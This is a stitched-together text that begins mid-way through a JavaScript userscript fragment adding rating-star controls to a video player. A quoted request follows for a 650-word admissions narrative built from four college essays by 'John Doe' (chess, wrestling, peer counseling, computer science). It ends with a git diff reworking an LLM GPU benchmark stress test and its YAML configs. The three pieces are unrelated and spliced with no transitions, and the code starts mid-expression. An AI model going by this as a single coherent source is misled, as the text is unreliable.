querySceneRating(sceneId)).data.findScene.rating;\n if (!document.getElementById(\'video-stars\')) {\n\n await waitForElementClass("rating-stars", async function (className, el) {\n\n const e = document.querySelector(\'.rating-stars\')\n // const e = document.getElementsByClassName(\'.rating-stars\')[1]\n\n console.log(e);\n\n const node = e.cloneNode(true);\n\n const control = document.querySelector(\'.vjs-control-bar\');\n node.setAttribute(\'id\', \'video-stars\');\n // ratingStarsNode.innerHTML = ratingstars;\n control.appendChild(node);\n control.insertBefore(node, control.childNodes[9]);\n await waitForElementByXpath("//div[contains(@class, \'VideoPlayer\')]", function(xpath, el) {\n\n console.log("Hello3");\n\n\n\n // const n = document.getElementsByClassName(\'rating-stars\')[1];\n\n const customdiv = document.getElementById(\'video-stars\');\n\n console.log("customdiv: " + customdiv)\n const nodeButtons = customdiv.querySelectorAll(\'button\')\n\nif(typeof nodeButtons === \'object\' && nodeButtons.length > 0 ){\n for(let i = 0; i < nodeButtons.length; i++){\n if (nodeButtons[i] && nodeButtons[i].hasAttribute("disabled")) {\n console.log("True")\n nodeButtons[i].removeAttribute("disabled");\n }\n }\n}\n\nif(typeof nodeButtons === \'object\' && nodeButtons.length > 0 ){\n for(let i = 0; i < nodeButtons.length; i++){\n nodeButtons[i].classList.add(\'btn-rating-node\')\n }\n}\n\n // Get current set rating or if on first pass get rating from HTMl\n var rating = currentRating || customdiv.querySelector(\'button\').title \\* 20;\n console.log("xpath rating: " + rating);\n\n const ratingButtons = customdiv.querySelectorAll(\'button\');\n const unfilledstar = customdiv.querySelectorAll(\'.unfilled-star div\');\n // const sceneid = updateSceneId();\n currentRating = Math.floor(rating / 20);\n\n ratingButtons.forEach((btn, index) => {\n index += 1\n btn.addEventListener(\'mouseover\', event => {\n if (index === currentRating) {\n ratingButtons.forEach(button => {\n console.log(\'mouseover (index===currentRating) : index: \' + index + " : currentRating : " + currentRating)\n updateTitles("Unset");\n })\n }\n else if (currentRating !== "0" && currentRating !== index) {\n console.log(\'mouseover-currentRating !== "0" && currentRating !== index - \' + "index: " + index + " rating: " + rating + "currentRating: " + currentRating);\n\n updateTitles(index);\n updateClasses(index);\n }\n });\n btn.addEventListener(\'mouseout\', event => {\n if (currentRating !== "0" && currentRating !== btn.title) {\n console.log(\'mouseout (currentRating !== "0" && currentRating !== btn.title) : currentrating: \' + currentRating + " : btn.title: " + btn.title)\n\n if (rating !== "0") {\n updateTitles(currentRating);\n updateClasses(currentRating);\n console.log(\'mouseout: rating: \' + rating + " currentRating: " + currentRating);\n }\n }});\n\n btn.addEventListener(\'click\', event => {\n if (btn.title !== "Unset") {\n console.log(\'click: (btn.title !== "Unset"): btn.title : \' + btn.title);\n updateSceneRating(sceneId, btn.title);\n } else {\n console.log(\'click btn: (btn.title !== "Unset") else : btn.title : \' + btn.title);\n updateTitles("0");\n updateClasses(0);\n updateSceneRating(sceneId, null);\n }\n });\n });\n unfilledstar.forEach((div, index) => {\n index += 1\n unfilledstar.addEventListener(\'click\', event => {\n if (ratingButtons.title == "Unset") {\n console.log(\'click : unfilledstar : (ratingButtons.title == "Unset"): ratingButtons.title: \' + ratingButtons.title + \' : updateTitles & classes & rating = 0\');\n updateTitles("0");\n updateClasses(0);\n updateSceneRating(sceneId, null);\n } else {\n console.log(\'click : unfilledstar : (ratingButtons.title == "Unset") else : ratingButtons.title: \' + ratingButtons.title + \' : event.target.title : \' + event.target.title + \' updateTitles & classes & rating = event.target.title\');\n\n updateTitles(event.target.title);\n updateClasses(event.target.title);\n updateSceneRating(sceneId, event.target.title);\n\n }\n });\n });\n\n document.addEventListener("DOMContentLoaded", () => {\n console.log("Loaded")\n const observer = new MutationObserver(mutations => {\n mutations.forEach(mutation => {\n Array.from(mutation.addedNodes).forEach(addedNode => {\n if (addedNode.matches && addedNode.matches(\'.fade.toast.success.show\')) {\n setTimeout(function() {\n updateElements();\n }, 2000);\n\n }\n });\n });\n });\n observer.observe(document.body, {\n childList: true,\n subtree: true\n });\n\n });\n })\n});\n }\n })\n})();' -'Given these four college admission prompts and essays John Doe wrote, write a compelling 650-word narrative about how John will use his diverse experiences, community-building skills, and passion for solving problems to be a great computer science student in the University. This narrative should be written in first-person POV and use the takeaways from great personal statements above. \n\nPrompt: Please describe how you have prepared for your intended major, including your readiness to succeed in your upper-division courses once you enroll at the university.\n\nEssay: I’ve demonstrated readiness to succeed in upper-division computer science courses with both classroom and real-world experience. I took AP Computer Science & 6 courses in community college, and will complete 3 more before transferring. I gained mobile development experience through my internship, learned several frameworks through extra-curricular projects, and participated in 4 hackathons. This November, my team became a finalist for the Google Health Case Competition working on improving patient adherence to tailored nursing care-plans.\n\nAs an aspiring programmer, I looked to community college courses to build on my foundation from AP Computer Science. These courses explored the depths and complexity of CS. In Data Science (CIS-9), we used NumPy and Pandas (Python libraries) with a touch of machine learning to perform data analysis. In Assembly (CIS-21JA), we translated common Python functions to assembly instructions to understand how code executes on the CPU. These rigorous courses required constant engagement in novel areas and vastly improved the breadth and strength of my CS foundation.\n\nIn my internship I looked forward to being a productive software engineer, and also understanding how a team turns an idea into a polished product. To prepare, I built SuppStack, a website for users to share their nutritional supplements. I learned about the core components of a website: backend (NodeJS & Express), frontend (ReactJS & Tailwind), and database (MySQL). In my internship, I learned programmatic collaboration skills through Git (version control software), worked with PM & Design, and structured effective timelines. As the lead intern, I implemented user-authentication, led migration to Expo Go (a platform that allows us to deploy code instantly), and mentored other interns by supervising & advising them through their projects. I collaborated effectively and learned the development structure of polished apps. \n\nThrough my courses, projects, and internship, I’ve developed my foundation and discipline to tackle complex topics in upper-division courses. I know computer science skills are a tool to solve problems beyond the screen– like issues in healthcare we began exploring in our Google Health Case Competition. I’m eager to build these skills as I progress through UC.\n\n-----\n\nPrompt: What have you done to make your school or your community a better place?\nEssay: I’ve spent over 150 hours in 2 years volunteering for 7 Cups, a counseling organization. I connected with teens as a listener to support them through mental illnesses. Concurrently, I learned more about mental illnesses and three psychotherapies through two community college classes, piles of books, and discussions with professionals. Finally, I mentored other volunteers– and taught them how to mentor, expanding impact. \nEarly on, I connected with a teen named Kinga (altered for confidentiality). We talked to combat her alcoholism, supplementing her sessions with her therapist. Inspired by her, and to improve my listening, I read resources including The Molecule of More, Motivational Enhancement Therapy Manual, The Big Book of AA. I also took classes at community colleges, PSYC1 - General Psychology and PSYC4 - Abnormal Psychology, to better understand psychotherapies. After a year working together, Kinga texted me: “I think [connecting with] you allowed me to stop thinking that every human being is evil with bad intentions, and I’ve been able to surround myself with great people.” She’s over a year sober, picking up pastel art and ballet again, and drastically improving her relationships with family and friends.\nA third of the time I listened to teens, they expressed dissatisfaction with previous listeners. As one of the more experienced volunteers, I took on improving listener training. Growing through leadership roles, I became a listener coach. I personally mentored 12 listeners for over half a year to improve their listening and knowledge of different illnesses. I also taught them how to mentor, reaching over 50 other volunteers. Finally, I spearheaded discussions on adapting psychotherapy techniques to issues, ex. CBT for exercise motivation, that taught over 70 more listeners.\nMy community-building ability fostered strong long-term relationships with 11 teens, like Kinga, to help them manage mental illnesses. I also helped over 40 others with short-term problems. I’m eager to continue fostering strong relationships using my community building skills. UC schools offer many opportunities to deepen these skills and connect through community service. Community strengthening with UC students through clubs like UCLA’s DevX and Berkeley’s BluePrint would be fantastic.\n\n-----\n\nPrompt: What would you say is your greatest talent or skill? How have you developed and demonstrated that talent over time?\nEssay: My greatest skill is turning curiosity into passion. I first did this with 6 years in Chess; I became an expert level player and consistently ranked in the US top 70 for my age. Along the way, I was a three-time state champion and finalist, won an international tournament, and won over $10,000. As a wrestler, I also quickly advanced to varsity-level, despite being new to wrestling with no athletic background.\n\nIn chess, I spent almost every moment I could preparing to compete. On a school-day, I woke up at 6:30 and practiced tactics/calculation for an hour. After school, I went to our living room computer to play the daily online blitz tournament. After finishing my homework, I was back to studying books like Dvoretsky’s Endgame Manual and Jacob Aagaard’s series on middlegames. Even if I wasn’t motivated one day, I always showed up. \n\nFor wrestling, I initially focused on technical knowledge about the sport and athletic performance. I consumed books and recorded matches, filled scrap pages with notes and even asked my coach so many questions that he limited me to three per practice. Outside of practice, I trained and cooked based on research about maximizing athletic performance. Training in chess first taught me to explore the details that go into mastery.\n\nMy first match of my senior season (second-year) was against a 4 star recruit. Like chess, I started to get caught up in a flow state. I saw my opponent kept too much weight on his lead leg and had a very narrow stance. I dominated the first two periods as I used this information to score takedowns with ankle picks and a blast double. All my decisions started to become coldly calculated based on precision. Wrestling, much like Chess, was now a science of the small details.\n\nJust like I immersed myself in Chess and Wrestling, I do the same in my academic pursuits. I start by breaking them down to sub-problems, learn from more-experienced individuals, and practice solving multiple variations. I really enjoy turning curiosity into passion.\n\n-----\n\nPrompt: Describe an example of your leadership experience in which you have positively influenced others, helped resolve disputes, or contributed to group efforts over time.\nEssay: During senior year, I coached a group of ten elementary students (ages 7-9) in Chess. It was a self-motivated initiative. I launched it in response to neighborhood children who were excited to find out I won over $10,000 playing in chess tournaments. I led them from learning to move their first pieces to their first scholastic chess tournament. In the process, I learned to build relationships and create a dynamic learning environment. \nIn the beginning, classes were terrible. I’m a varsity athlete, a focused student, and try to face challenges head-on. But every week ten kids would come eager to learn, and I was terrified. I was a three-time state finalist, but accolades didn’t matter here. I struggled to structure classes and connect with students. I freestyled classes, finding kids quietly uninterested. My students Diya and Rohan often looked particularly blank.\nFrustrated, I contacted my first chess coach for advice. He talked about our strengths/weaknesses, interests outside of chess, and favorite moments with all of us; it was sweet… but seemingly useless. Only after discussing this conversation with a friend did I realize my coach was successful because of his bond with us.\nMoving forward, I made efforts to learn about my students and welcome natural relationships. I spent time one-on-one and in smaller groups during breaks and after classes. We played games like tag, Monopoly, and chess (but I was blindfolded!). Reticent students soon became expressive learners, sharing their explorations of constellations, cooking, the world of Harry Potter, and more. By connecting with the kids, I enabled an open inquisitive environment. Diya recounted her little brother’s antics and Rohan shared karate techniques. \nI compiled an array of Chess books and videos to create a curriculum. In the five months before their first tournament, my students learned tactical ideas as well as openings like the Scotch and Ruy Lopez. At the tournament, all had positive records. Three kids placed top 10 in the beginner division. They went from distracted individuals to motivated players. And my role transformed from disengaged instructor to connected mentor.' diff --git a/python/llm/dev/benchmark/all-in-one/run-stress-test.py b/python/llm/dev/benchmark/all-in-one/run-stress-test.py index d4bc3570..20e16c53 100644 --- a/python/llm/dev/benchmark/all-in-one/run-stress-test.py +++ b/python/llm/dev/benchmark/all-in-one/run-stress-test.py @@ -45,22 +45,6 @@ LLAVA_IDS = ['liuhaotian/llava-v1.5-7b'] results = [] excludes = [] -def run_model_in_thread(model, in_out, tokenizer, result, warm_up, num_beams, input_ids, out_len, actual_in_len, num_trials): - for i in range(num_trials + warm_up): - st = time.perf_counter() - output_ids = model.generate(input_ids, do_sample=False, max_new_tokens=out_len, - num_beams=num_beams) - torch.xpu.synchronize() - end = time.perf_counter() - output_ids = output_ids.cpu() - print("model generate cost: " + str(end - st)) - output = tokenizer.batch_decode(output_ids) - print(output[0]) - actual_out_len = output_ids.shape[1] - actual_in_len - if i >= warm_up: - result[in_out].append([model.first_cost, model.rest_cost_mean, model.encoder_time, - actual_in_len, actual_out_len]) - def run_model(repo_id, test_api, in_out_pairs, local_model_hub=None, warm_up=1, num_trials=3, num_beams=1, low_bit='sym_int4', cpu_embedding=False): # TODO: make a parameter result= {} @@ -82,8 +66,7 @@ def run_model(repo_id, test_api, in_out_pairs, local_model_hub=None, warm_up=1, num_beams, low_bit, cpu_embedding if 'win' in test_api else 'N/A', - result[in_out_pair][-1][5] if 'win' in test_api else 'N/A']) # currently only peak mem for win gpu is caught here - + result[in_out_pair][-1][5] if 'int4_gpu' in test_api else 'N/A']) # currently only peak mem for win gpu is caught here def get_model_path(repo_id, local_model_hub): if local_model_hub: @@ -95,10 +78,6 @@ def get_model_path(repo_id, local_model_hub): else: return repo_id - - - - def run_transformer_int4(repo_id, local_model_hub, in_out_pairs, @@ -158,10 +137,11 @@ def run_transformer_int4(repo_id, result[in_out].append([model.first_cost, model.rest_cost_mean, model.encoder_time, actual_in_len, actual_out_len]) i += 1 + if i >= warm_up+num_trials: + break return result - def run_transformer_int4_gpu(repo_id, local_model_hub, in_out_pairs, @@ -172,6 +152,7 @@ def run_transformer_int4_gpu(repo_id, from bigdl.llm.transformers import AutoModel, AutoModelForCausalLM from transformers import AutoTokenizer, GPTJForCausalLM, LlamaTokenizer import intel_extension_for_pytorch as ipex + reserved_mem_list = [] model_path = get_model_path(repo_id, local_model_hub) # Load model in 4 bit, # which convert the relevant layers in the model into INT4 format @@ -196,6 +177,7 @@ def run_transformer_int4_gpu(repo_id, model = ipex.optimize(model.eval(), inplace=True) end = time.perf_counter() print(">> loading of model costs {}s".format(end - st)) + reserved_mem_list.append(torch.xpu.memory.memory_reserved()/(1024**3)) model = BenchmarkWrapper(model) @@ -205,31 +187,42 @@ def run_transformer_int4_gpu(repo_id, in_out_len = in_out.split("-") in_len = int(in_out_len[0]) out_len = int(in_out_len[1]) - # As different tokenizer has different encodings, - # in_len.txt maybe shorter than we need, - # use much longer context to make sure input length - test_length = min(in_len*2, 8192) - while test_length not in [32, 256, 1024, 2048, 8192]: - test_length = test_length * 2 - input_str = open(f"prompt/{test_length}.txt", 'r').read() - # As different tokenizer has different encodings, - # slice the input_ids to ensure the prompt length is required length. - input_ids = tokenizer.encode(input_str, return_tensors="pt") - input_ids = input_ids[:, :in_len] - true_str = tokenizer.batch_decode(input_ids)[0] - input_ids = tokenizer.encode(true_str, return_tensors="pt").to('xpu') - actual_in_len = input_ids.shape[1] - result[in_out] = [] - thread = threading.Thread(target=run_model_in_thread, args=(model, in_out, tokenizer, result, warm_up, num_beams, input_ids, out_len, actual_in_len, num_trials)) - thread.start() - thread.join() - del model + i = 0 + with open("prompt/stress_test.txt", 'r') as file: + for input_str in file: + # As different tokenizer has different encodings, + # slice the input_ids to ensure the prompt length is required length. + input_ids = tokenizer.encode(input_str, return_tensors="pt") + input_ids = input_ids[:, :in_len] + true_str = tokenizer.batch_decode(input_ids)[0] + input_ids = tokenizer.encode(true_str, return_tensors="pt").to('xpu') + actual_in_len = input_ids.shape[1] + result[in_out] = [] + st = time.perf_counter() + output_ids = model.generate(input_ids, do_sample=False, max_new_tokens=out_len, + num_beams=num_beams) + torch.xpu.synchronize() + end = time.perf_counter() + reserved_mem_list.append(torch.xpu.memory.memory_reserved()/(1024**3)) + gpu_peak_mem = max(reserved_mem_list) # always keep the peak gpu mem at current stage + output_ids = output_ids.cpu() + print("model generate cost: " + str(end - st)) + output = tokenizer.batch_decode(output_ids) + print(output[0]) + actual_out_len = output_ids.shape[1] - actual_in_len + if i >= warm_up: + result[in_out].append([model.first_cost, model.rest_cost_mean, model.encoder_time, + actual_in_len, actual_out_len, gpu_peak_mem]) + i += 1 + if i >= warm_up+num_trials: + break + model.to('cpu') + torch.xpu.synchronize() torch.xpu.empty_cache() + del model + gc.collect() return result - - - if __name__ == '__main__': from omegaconf import OmegaConf conf = OmegaConf.load(f'{current_dir}/config.yaml') diff --git a/python/llm/test/benchmark/stable-version-arc-stress-test-fp8.yaml b/python/llm/test/benchmark/stable-version-arc-stress-test-fp8.yaml new file mode 100644 index 00000000..7e7467ab --- /dev/null +++ b/python/llm/test/benchmark/stable-version-arc-stress-test-fp8.yaml @@ -0,0 +1,20 @@ +repo_id: + - 'meta-llama/Llama-2-7b-chat-hf' + - 'THUDM/chatglm2-6b' + - 'THUDM/chatglm3-6b' + - 'baichuan-inc/Baichuan2-7B-Chat' + - 'Qwen/Qwen-7B-Chat' +local_model_hub: '/mnt/disk1/models' +warm_up: 10 +num_trials: 100 +num_beams: 1 # default to greedy search +low_bit: 'fp8' # default to use 'sym_int4' (i.e. symmetric int4) +in_out_pairs: + - '1024-512' + - '2048-512' +test_api: + - "transformer_int4_gpu" # on Intel GPU +cpu_embedding: False # whether put embedding to CPU (only avaiable now for gpu win related test_api) +exclude: + - 'baichuan-inc/Baichuan2-7B-Chat:2048' + - 'Qwen/Qwen-7B-Chat:2048' \ No newline at end of file diff --git a/python/llm/test/benchmark/stable-version-arc-stress-test-sym_int4.yaml b/python/llm/test/benchmark/stable-version-arc-stress-test-sym_int4.yaml new file mode 100644 index 00000000..c85b7bca --- /dev/null +++ b/python/llm/test/benchmark/stable-version-arc-stress-test-sym_int4.yaml @@ -0,0 +1,19 @@ +repo_id: + - 'meta-llama/Llama-2-7b-chat-hf' + - 'THUDM/chatglm2-6b' + - 'THUDM/chatglm3-6b' + - 'baichuan-inc/Baichuan2-7B-Chat' + - 'Qwen/Qwen-7B-Chat' +local_model_hub: '/mnt/disk1/models' +warm_up: 10 +num_trials: 100 +num_beams: 1 # default to greedy search +low_bit: 'sym_int4' # default to use 'sym_int4' (i.e. symmetric int4) +in_out_pairs: + - '1024-512' + - '2048-512' +test_api: + - "transformer_int4_gpu" # on Intel GPU +cpu_embedding: False # whether put embedding to CPU (only avaiable now for gpu win related test_api) +exclude: + - 'Qwen/Qwen-7B-Chat:2048' diff --git a/python/llm/test/benchmark/stable-version-cpu-stress-test.yaml b/python/llm/test/benchmark/stable-version-cpu-stress-test.yaml index 8ed7a4e4..ea690acb 100644 --- a/python/llm/test/benchmark/stable-version-cpu-stress-test.yaml +++ b/python/llm/test/benchmark/stable-version-cpu-stress-test.yaml @@ -7,8 +7,8 @@ repo_id: - 'baichuan-inc/Baichuan2-13B-Chat' - 'Qwen/Qwen-14B-Chat' local_model_hub: '/models' -warm_up: 1 -num_trials: 4 +warm_up: 10 +num_trials: 100 num_beams: 1 # default to greedy search low_bit: 'sym_int4' # default to use 'sym_int4' (i.e. symmetric int4) in_out_pairs: